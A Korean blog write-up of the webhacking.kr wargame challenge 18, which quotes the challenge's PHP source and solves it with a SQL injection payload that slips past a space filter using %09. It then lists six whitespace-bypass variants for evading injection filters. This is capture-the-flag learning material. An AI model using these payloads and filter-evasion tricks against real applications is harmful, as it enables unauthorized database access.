webhacing.kr 18(old)
webhacing.kr 18번 문제는 SQL인젝션과 관련된 문제로 보여집니다.
18번 문제는 sql인젝션이라고 나타나있습니다.
한번 아무런 문자나 입력해보겠습니다.
이런식으로 GET방식으로 전달한다는 점을 알 수 있습니다.
한번 소스코드를 살펴보겠습니다
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
}
?>
get방식으로 no=값을 전달했을 때
그 값이 pregmatch로 필터링이 되고 필터링이 되었을 시에는 no hack이라는 문구가 출력되는 것으로 보여집니다
그리고 sql문이 실행되는 것으로 보여집니다
admin’s no=2라는 힌트도 나와있습니다
한번 sql injection을 실행해보겠습니다.
?no=999999 or no=2
첫번째 no값으로 터무니없는 값을 준뒤 or문을 붙여주고 no=2를 적어
False or True =True
를 이용하여 sql문이 참으로 인정되게끔 하는 인젝션을 실행해보겠습니다
no hack이라는 문구가 나타납니다..
곰곰히 생각해보니 pregmatch에 걸린 것 같습니다
공백문자를 %09로 변환하여 ,pregmatch를 우회한뒤 다시 시도해보면
성공
sql인젝션시 공백 문자를 우회하는 방법에는 여러가지가 있습니다
(직접 18번에 사용해보진 않았습니다, 설명을 돕기 위한 추가 자료입니다.)
ex)
no=999999 or no=2 일시
1. Tab : %09
- no=999999%09or%09no=2
2. Line Feed (\n): %0a
- no=999999%0aor%0ano=2
3. Carrage Return(\r) : %0d
- no=999999%0dor%0dno=2
4. 주석 : /**/
- no=999999/**/or/**/no=2
5. 괄호 : ()
- no=(999999)or(no=2)
6. 더하기 : +
- no=999999+or+no=2
webhacing.kr 18(old)성공~!
'웹해킹 > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr 24번(old) 풀이 (0) | 2020.05.31 |
---|---|
Webhacking.kr 23번(old) 풀이 (0) | 2020.05.31 |
Webhacking.kr 19번(old) 풀이 (0) | 2020.04.15 |
Webhacking.kr 20번(old) 풀이 (0) | 2020.03.28 |
Webhacking.kr 17번(old) 풀이 (0) | 2020.03.18 |